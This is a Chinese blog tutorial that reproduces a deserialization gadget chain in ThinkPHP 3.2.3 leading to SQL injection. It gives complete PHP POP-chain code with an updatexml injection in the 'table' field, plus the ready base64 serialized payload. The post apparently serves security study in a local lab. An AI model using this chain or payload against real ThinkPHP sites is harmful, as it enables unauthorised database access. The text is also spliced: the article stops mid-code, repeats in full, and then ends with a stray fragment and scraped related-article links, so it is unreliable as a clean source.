前言

 目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。

 环境介绍

  • MAMP pro

  • PhpStorm

  • Xdebug

 利用条件

  • 具备反序列化入口

 分析过程

 首先在分析前,先新建一个控制器,写一个反序列化入口

 在Application/Home/Controller/HelloController.class.php中新建以下内容:

<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
   public function index($Lxxx){
       echo base64_decode($Lxxx);
       $a = unserialize(base64_decode($Lxxx));
  }
}

 反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()

 分析一下不可用入口:

 例如,像上方这种,就没有可控参数,就不是很好利用

 通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则

 因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:

 如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错

 而我们全局搜索的结果如下:

 在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array

<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"

 接下来全局搜索delete方法

 如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法

 上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。

 前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
class Model{

}
}

namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

 输出:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==

 传给浏览器后,我们可以看到Lxxx被成功的打印了出来

 也就是说截止目前,我们的分析还没有问题,那接着往下分析:

 在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控

接着看这个方法,往下看,看看是否有可控的点

 上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控

 那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。

 在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。

 下方的sql语句可能存在注入

 这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。

 可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法

 parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试

 这么一来就可以构造链子了

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $db;
protected $data = array();
public function __construct(){
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
               "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
               "where" => "1=1"
          );
}
}
}
namespace Think\Db\Driver{
class Mysql{
       protected $config = array(
           "debug"    => 1,
           "database" => "tp323",
           "hostname" => "127.0.0.1",
           "hostport" => "8889",
           "charset"  => "utf8",
           "username" => "root",
           "password" => "root"
      );

 前言

 目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。

 环境介绍

  • MAMP pro

  • PhpStorm

  • Xdebug

 利用条件

  • 具备反序列化入口

 分析过程

 首先在分析前,先新建一个控制器,写一个反序列化入口

 在Application/Home/Controller/HelloController.class.php中新建以下内容:

<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
   public function index($Lxxx){
       echo base64_decode($Lxxx);
       $a = unserialize(base64_decode($Lxxx));
  }
}

 反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()

 分析一下不可用入口:

 例如,像上方这种,就没有可控参数,就不是很好利用

 通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则

 因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:

 如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错

 而我们全局搜索的结果如下:

 在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array

<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"

 接下来全局搜索delete方法

 如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法

 上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。

 前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
class Model{

}
}

namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

 输出:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==

 传给浏览器后,我们可以看到Lxxx被成功的打印了出来

 也就是说截止目前,我们的分析还没有问题,那接着往下分析:

 在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控

接着看这个方法,往下看,看看是否有可控的点

 上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控

 那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。

 在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。

 下方的sql语句可能存在注入

 这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。

 可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法

 parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试

 这么一来就可以构造链子了

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $db;
protected $data = array();
public function __construct(){
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
               "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
               "where" => "1=1"
          );
}
}
}
namespace Think\Db\Driver{
class Mysql{
       protected $config = array(
           "debug"    => 1,
           "database" => "tp323",
           "hostname" => "127.0.0.1",
           "hostport" => "8889",
           "charset"  => "utf8",
           "username" => "root",
           "password" => "root"
      );
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

 得到结果:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

 后记

 多断点,多打印,多跟进,多思考。

 推荐实验:PHP反序列化漏洞实验(合天网安实验室) 点击进入实操>>


}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

 得到结果:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

 后记

 多断点,多打印,多跟进,多思考。

 推荐实验:PHP反序列化漏洞实验(合天网安实验室) 点击进入实操>>

ThinkPHP3.2.3反序列化链子分析的更多相关文章

  1. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  4. ref:Java安全之反序列化漏洞分析(简单-朴实)

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

  5. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  6. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  7. Java安全之Cas反序列化漏洞分析

    Java安全之Cas反序列化漏洞分析 0x00 前言 某次项目中遇到Cas,以前没接触过,借此机会学习一波. 0x01 Cas 简介 CAS 是 Yale 大学发起的一个开源项目,旨在为 Web 应用 ...

  8. Fastjson 1.2.22-24 反序列化漏洞分析(2)

    Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...

  9. Fastjson 1.2.22-24 反序列化漏洞分析(1)

    Fastjson 1.2.22-24 反序列化漏洞分析(1) 前言 FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转 ...

随机推荐

  1. IDEA版部署离线ArcGIS api for JavaScript

    痛苦!折磨! 这两天发现IDEA 做ArcGIS api 开发比EClipse好用(重点是没有JS提示).但引入的ArcGIS api 一直报错,说找不到.这两天思来想去就是不知道为什么找不到loca ...

  2. 27.Java 飞机游戏小项目

    开篇 游戏项目基本功能开发 飞机类设计 炮弹类设计 碰撞检测设计 爆炸效果的实现 其他功能 计时功能 游戏项目基本功能开发 这里将会一步步实现游戏项目的基本功能. 使用 AWT 技术画出游戏主窗口 A ...

  3. 通过R Studio用Markdown写Beamer

    技术背景 在写一些学术演示文档时,经常有可能用到Beamer--一种Latex的学术风PPT模板,比如下图所示的这种: 这种风格的演示文档有几个明显的优点:简约.严肃.可以用Latex敲公式和推导.可 ...

  4. Myql 中的事务回滚机制概述 ?

    事务是用户定义的一个数据库操作序列,这些操作要么全做要么全不做,是一个 不可分割的工作单位,事务回滚是指将该事务已经完成的对数据库的更新操作撤 销. 要同时修改数据库中两个不同表时,如果它们不是一个事 ...

  5. Spring Boot 的配置文件有哪几种格式?它们有什么区别?

    .properties 和 .yml,它们的区别主要是书写格式不同.    1).properties    app.user.name = javastack    2).yml    app:   ...

  6. keybd_event 在F按键系列不起作用的解决办法

    最近给公司做自动化测试工具,主要用到的功能是模拟鼠标键盘录制回放.一切都很完美了,但在客户大机系统上使用的时候,发现F1-F24系列按键无法正确使用,查了很多资料,主要有2个方面的原因: 1.一些游戏 ...

  7. java中的正则表达式And Pattern And Macher

    在哪里?? java.util.regex包下有两个用于正则表达式的类, 一个是Matcher类, 另一个Pattern 简单例子 public class RegexLeaning { public ...

  8. spring boot 实现优雅的关闭

    1.导入jar包 <dependency> <groupId>org.springframework.boot</groupId> <artifactId&g ...

  9. 解释 Java 堆空间及 GC?

    当通过 Java 命令启动 Java 进程的时候,会为它分配内存.内存的一部分用于 创建堆空间,当程序中创建对象的时候,就从对空间中分配内存.GC 是 JVM 内 部的一个进程,回收无效对象的内存用于 ...

  10. Windows10安装PHP7+Apache 2.4

    下载下面的文件 httpd-2.4.39-win64-VC15.zip php-7.3.4-Win32-VC15-x64.zip 如果下载失效,从这里下载 https://windows.php.ne ...